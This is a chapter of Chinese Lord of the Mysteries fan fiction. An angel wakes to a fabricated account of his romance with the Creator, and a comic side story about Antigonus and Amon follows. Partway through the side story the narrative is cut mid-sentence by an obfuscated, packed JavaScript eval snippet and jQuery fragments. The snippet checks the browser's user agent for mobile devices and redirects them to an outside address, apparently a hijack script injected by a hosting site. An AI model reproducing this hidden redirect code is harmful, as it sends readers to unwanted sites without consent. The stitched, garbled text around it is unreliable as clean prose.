84.白造奥??

一名纯白天使正在自己的心灵宇宙中发呆。


祂双眼放空、双手颤抖,微微放大的瞳孔昭示了内心的震撼。


而造成这位名叫“奥赛库斯”的天使震惊的原因是,祂的下属在方才向祂讲述了一段往事——关于祂沉眠的二十年间的故事。


高维俯视者披着金发碧眼的精灵马甲,一边优雅地品着红茶,一边讲道:


“主,还记得您是什么时候晋升序列一的吗?没错,就是那次,您去巨人族出外务时,遇到了暗中谋划叛变的逆党布拉德尔,与之战斗粉碎了祂的阴谋,您的勇气与智慧得到了格里沙的赞赏,便得到了晋升纯白天使的机会。”


“那一次,您沉睡了五年,堪堪养好暗伤。可谁知您醒来不久,又遇上黑夜女神出事,祂梦境中不仅藏着没死透的弗雷格拉,还藏有诡秘之主的残留意志。”


“秉持着爱与正义的良好品质,您当仁不让地潜入阿曼妮西斯梦中,帮助祂解决了隐患,可谁知那诡计多端的老诡秘,来骗、来抢、来偷袭勇敢的您!”


高维俯视者啧啧叹气,蹙着眉头抿了口红茶,给奥赛库斯留了片刻消化的时间,才继续说道:


“您被那诡骗去了西大陆,双方你来我往战至大道都磨灭了!在最危急的时刻,您突然感受到了暗影世界,于是露了个破绽,佯装败退,在诡秘洋洋得意之时,将暗影世界一手抓住,顷刻炼化!”


“就这样,暗影世界被吸收进了您的心灵宇宙,将堵门的母巢狠狠撞飞,让我得以将力量渗透出去,协助您穿越灰雾,回归了白造的神国!”


“而格里沙也狠狠被您的英姿迷住了,祂被黑夜神国的破事绊住,根本脱不开身,要不是您美救英雄,祂恐怕要狠狠遭到老诡暗算!”


“……等会,你等会!”


奥赛库斯扶住几乎脱臼的下巴,挥手打断高维俯视者充满谬误的复述,


“什么叫做迷住白造啊!不要随便用这种带有诡异感情色彩的词汇啊!”


“我并没有随便用哦。”


高维俯视者放下白瓷杯盏,戴着丝绒手套的十指相互交叠,撑着下巴,笑眯眯地看祂,


“格里沙确实答应了您的表白呢,现在你们俩应该是正在交往的关系。对了,这一切都是在您此次养伤休眠之前发生的,换言之,格里沙等了您二十年呢,我的睡美人冕下~”


奥赛库斯:“……”


奥赛库斯:“………………”


奥赛库斯:“…………………………”


奥赛库斯向后一靠,倒在梦中教堂后花园的高背椅上,失去了灵魂。


救命。


*


就在今天上午,距离花园谈话两小时之前。


奥赛库斯迷迷糊糊地恢复了知觉,突然发现自己枕在萨斯利尔的腿上。


而暗天使正以温柔到ooC的语气和沉睡的祂说话,包括但不限于什么“能源的问题已经解决”“大陆的公社都运转得很好”“人们非常幸福”“不用担心,以后的日子会越来越好”之类的。


奥赛库斯险些以为自己似了!萨斯利尔是在给祂上坟!


然后祂睁开了眼,和萨斯利尔四目相对。


天国副君那双暗色的眼眸以ooC到极致的速度染上了人性的波动!甚至流下了眼泪!


奥赛库斯惊恐地看着萨斯利尔开始说一些更神奇的话,什么“二十年过去你终于醒了”“我等了你好久”,仿佛被哪个诡计多端的同人作者灌输了不妙的人性。


祂还没思考出个所以然来,匆匆赶到现场的白造就把萨斯利尔换走,将依依不舍的天国副君驱赶到至高天境,替本体完成开会的职责。


接着……接着奥赛库斯就享受到了更可怕的膝枕待遇,从萨斯利尔换成了白造!


被突然亲切贴贴的白造吓晕,奥赛库斯双眼一黑,沉入了梦中。


于是就发生了本章开头那一幕,等待多时的高维俯视者在开满郁金香的花园中邀请奥赛库斯喝茶,并向祂解说起了目前的状况。


*


时间回到当下。


高维俯视者戳戳装死的奥赛库斯:


“主,你还好吗主?”


“不好,再见。”


奥赛库斯有气无力。


祂、祂想过很多种可能性,但绝对没想到是这种发展啊!


什么叫做祂和白造交往?这是人话吗?


白造——伟大圣灵!圣父!光辉万丈的救世主!弥赛亚!牢帝严选!纯洁无瑕宛如白璧!


祂、祂怎么会和“交往”这种堪称亵渎的词语连接在一起啊!


而且另一方还是自己(。)


奥赛库斯觉得,可能祂的确是死了,现在穿到了一本新书里,写手是个ooC狂魔,不将所有人狠狠扭曲塑造誓不罢休的那种(。)


所以才会整出什么“祂和白造交往”的诡异发展吧!


“就算是我梦游生扑白造,也该被圣火劈死,而不是出现白造欣然同意这种走向啊!”


奥赛库斯发出来自灵魂的呐喊。


“诶——?”高维俯视者挑了挑眉,勾着脚尖,“不要羞涩嘛主,您再怎么抗拒,可事实就是如此呢。”


“不行不行不行——”奥赛库斯抓狂。


见祂以头抢地,脑袋在玉石长桌上滚来滚去,高维俯视者微微弯起嘴角,以退为进道:


“既然您这么为难的话,要不我替您去向白造提个分手?”


“不行!”奥赛库斯当即否决。


祂猛地站起身,向郁金香花丛走了两步,站定在它们中间,背对着高维俯视者。


“这也不行,那也不行,那您想要怎样呢?”高维俯视者莞尔,歪着脑袋看祂,“还是说,您心里有别的想法?”


“我、我……”奥赛库斯一窒。


当震惊的情绪散去,祂当然会感到一点点的尴尬,毕竟那是格里沙。


但是,一听到高维俯视者给出的分手建议,祂又下意识心中一痛。


光是想想与之分开,祂的血管就加速流动,疼痛弥漫开来,就像拿着刀剜去心房的一部分,将已经和血肉长成一体的感情摒弃。


……可是、可是祂怎么会、会对白造有这么深刻的爱意嘛。


好奇怪,好羞耻,难以启齿,不想承认……


奥赛库斯捂住眼睛,摇了摇脑袋,将满脑子纷乱浓郁的与爱有关的诗篇摇散。


祂才刚恢复明智呢,高维俯视者那家伙的声音又钻进耳朵里,还提起了格里沙:


“哦——我懂了。您就是有点儿害羞。也对,祂等了二十年,但您只是睡了一觉。刚醒来就发现要承受这么深重的羁绊,羞涩是正常的。”


奥赛库斯抿了抿嘴,脑海又开始混乱。


高维俯视者带着笑意的声音仍在继续:“这种情况很好处理,只要等您回到外面的宇宙,和祂多相处几天就习惯了。”


“……”奥赛库斯的背影一言不发。


这时,高维俯视者忽然像想起什么似的,起身走到造主的身边:


“忘了和您提个醒——别忘了‘暗影世界’。渴求祂的存在名为‘欲望母树’,祂的手段诡异莫测,如果您遇到奇怪的事情……一定要提高警惕。”


*


格里沙安静地等待天使醒来。


祂已等待了二十年。


有三十三重天境的净化,再加上祂用自己顶替了格蕾嘉莉的记忆身份,奥赛库斯此次吸纳暗影世界造成的动荡并未危及大陆。


在奥赛库斯醒来前,格里沙早已和高维俯视者沟通过,由那名旧日来当说客,将编造修改过的“事情真相”灌输给奥赛库斯,确保奥赛库斯的情感寄托点在“格里沙”上,而不是“格蕾嘉莉”。


一个谎言的诞生,就要用无数个谎言来圆。


但造物主选择背负自己的罪孽。


于是祂静静地注视着天使的睫毛,看它们颤啊颤啊,终于再度睁开。


格里沙轻柔地对祂说:“奥赛库斯,你要不要转序列?我准备好了魔女途径的一切,三月之内能够升上神位。”


这是格里沙准备好的另一重计划。


通过反复对比奥赛库斯过去和现在的污染情况,祂发现污染的大小或许和奥赛库斯自身的强度有关。


其实不论是第二纪还是现在,祂的位格和能力始终保持在心灵宇宙造主的水平,唯一改变的便是“在外部世界非凡途径中的高低程度”。


在第二纪,奥赛库斯困于沉睡,饱受污染折磨,而如今升为天使后,祂连生吞暗影世界都不过是平静地安眠。


别的途径或多或少存在棘手的问题,但“魔女”途径是完全真空的……


格里沙拿定了主意。


当然,祂必须尊重自己扮演的角色定位,“爱人”不是上司,不是老师,不能用命令的口吻,而是要用商量的语气来表达。


于是祂说了。


然后……


“卧槽!”睡得迷迷糊糊的奥赛库斯一听,光速联想到高维俯视者的提醒!


谈恋爱还算能理解,劝我转魔女?


有问题,绝对有问题!


纯白天使当即出手,肘击眼前的假货:


“呔!哪来的鱼丸木薯,竟敢假扮成主的样子戏弄于我!”


猝不及防脸接圣火的白造:“……”


*


【小剧场】


论三公爵之二的初见。


用水汪汪的眼睛注视了萨林格尔三十秒,安提哥努斯成功获得来白造神国找奥赛库斯玩的权利。


“不许乱跑!”萨林格尔板着脸。


“好耶!”小狼欢呼。


安提哥努斯戴上了祂最喜欢的项链,小狼摇摇尾巴,在镜子前面反复确认了自己的帅气!


小狼出发,刚抵达神国就看见奥赛库斯坐在软榻上朝祂招手。


安提哥努斯期期艾艾地上前:“妈妈。”


“安提柯,我要介绍一个乖宝宝给你。猜猜祂是谁?”奥赛库斯微笑。


小狼摇头:“猜不出来。”


“祂身上是黑色的,但也


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314025|160571||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


有一点白色。”奥赛库斯摸摸小狼。


安提哥努斯眨眨眼。


“祂有时候很调皮,但是个好孩子。”奥赛库斯揉揉小狼。


安提哥努斯抖抖耳朵。


“最重要的是,祂毛绒绒的~”奥赛库斯揪揪小狼耳朵。


安提哥努斯星星眼,把这些特征和自己对应起来:


有黑又有白,调皮的好孩子,毛绒绒的——那不就是我吗?


妈妈要夸我是乖宝宝吗?


是吗是吗?


小狼激动得尾巴都控制不住了,像螺旋桨似的转起来,嘴里呜呜地准备要开始撒娇。


然而,奥赛库斯忽然从身后掏出一只有白色眼圈的小乌鸦:“噔噔——”


“是阿蒙!”


安提哥努斯:“……”


安提哥努斯耳朵耷拉下来,小狼好失落,好想憋住委屈的眼泪哦,可是憋不住。


安提柯哭哭,但是眼泪被阿蒙偷走,什么也没落下来。


‘咦?’小狼惊讶,忘记了委屈。


刚出生不久的小乌鸦蹦到比自己大了上百岁的魔狼头上,左边瞅瞅,右边瞅瞅,找了个舒适的姿势蹲下来。


“眼睛里会掉珍珠的魔狼?”


乌鸦低下头,对向上抬眼偷看祂的魔狼点评道,


“不错,不错!以后跟我混吧。”


……


直到很多年以后,在图铎帝国共同任职的阿蒙和安提哥努斯两位大公,也依然会回想起,曾经开启这段异父异母亲兄弟情的明媚午后。


“我记得你那时候哭得嗷嗷叫,”


阿蒙捏了捏单片眼镜,恶趣味地提起安提柯大公的黑历史。


“奥赛库斯哄了你好久。”


安提哥努斯用公文挡住脸,掩饰自己的尴尬。


而阿蒙弯起嘴角,变本加厉地重复当时的场景:“你哭得连刚散会的萨林格尔都赶来了,直到奥赛库斯说了那句话,才打着嗝停下来。”


“‘别哭啊安提柯,多一个阿蒙,就是多一个新的人爱你啊。’奥赛库斯当时是这么说的。”


安提哥努斯忍无可忍,魔狼都快要变成飞机耳了,发出烧开水壶一样尖细的呐喊:


“……你很闲吗阿蒙!为什么提起这些事情啊啊啊——”


“放轻松,我只是希望过去的美好回忆能让你更信任我一点,如果能愿意向我袒露心声就再好不过。”


阿蒙笑了笑,表情骤然变得严肃。


祂走到安提哥努斯面前,一把扯下公文扔到伯特利的座位上,双手撑着桌子,盯着安提哥努斯,认真地说道:


“你到底怎么了?为什么瘦得这么厉害?”


“我我我——”


安提哥努斯“我”了半天,憋出一句气若游丝的反问,


“每次我想什么你都早就偷走了啊……还问我!”


然而,阿蒙扯了扯嘴角,眼睛微微眯起,丝毫没有放过对方的打算,不依不饶道:


“你以为我会信吗?‘因为吃不饱所以瘦了……?’出息了啊安提哥努斯,还会在脑海里放置假消息来防盗?”


“……”安提哥努斯睁大眼,一副噎住的表情。


“从实招来!你怎么回事?天尊在影响你?还是图铎奇克做了什么?”


祂疾言厉色,问句几乎是劈头盖脸地砸下来,当魔狼快要招架不住时忽然嗤笑一声,目光在安提哥努斯英俊的脸庞上转了转,


“总不会是谈恋爱了吧?西大陆那句古话怎么说来着,‘为伊消得人憔悴……?’”


安提哥努斯:“……”


祂还没来得及辩解,就看见伯特利穿墙而入。


赶回来加班的门途径天使疑惑地看向两位既是兄弟又是同僚的搭档,问道:“你们在干什么?”


……


五分钟后,听完阿蒙的解释,伯特利无语地叹了口气,表示:“你不会真觉得安提柯脑子里的想法能瞒过你的偷盗吧?”


“……所以祂真是,饿的?”


阿蒙单手扶着额头,瞥了眼已经把脑袋塞进公文里,跨途径学习心理学隐身,假装自己不存在的安提哥努斯。


良久,祂按了按单片眼镜,反手抓住安提哥努斯的后领,把装死的魔狼拎出来。


阿蒙往桌子对面一坐,面色恢复了往日的戏谑,语气轻慢,内容却相当正经:“经济遇到困难怎么不和我说呢?以后你下班了,就到我那里住吧……”


还在羞愤的安提哥努斯闻言一僵。


魔狼抖了抖耳朵,又要忍不住露出那种被感动的星星眼了。


就在这时,阿蒙笑嘻嘻地补充上后半句:“……刚好雅各家的厨子做饭很好吃呢。”


安提哥努斯:“……”


画面外,被欺压多年的雅各:喂你们兄弟情深演够了没,怎么没人替我发声啊!


——————


补充一下:虽然阿蒙明面上不叫羊“妈妈”,但祂其实是知道父亲和羊是怎么回事的,所以安提柯≈异父异母的哥哥(?)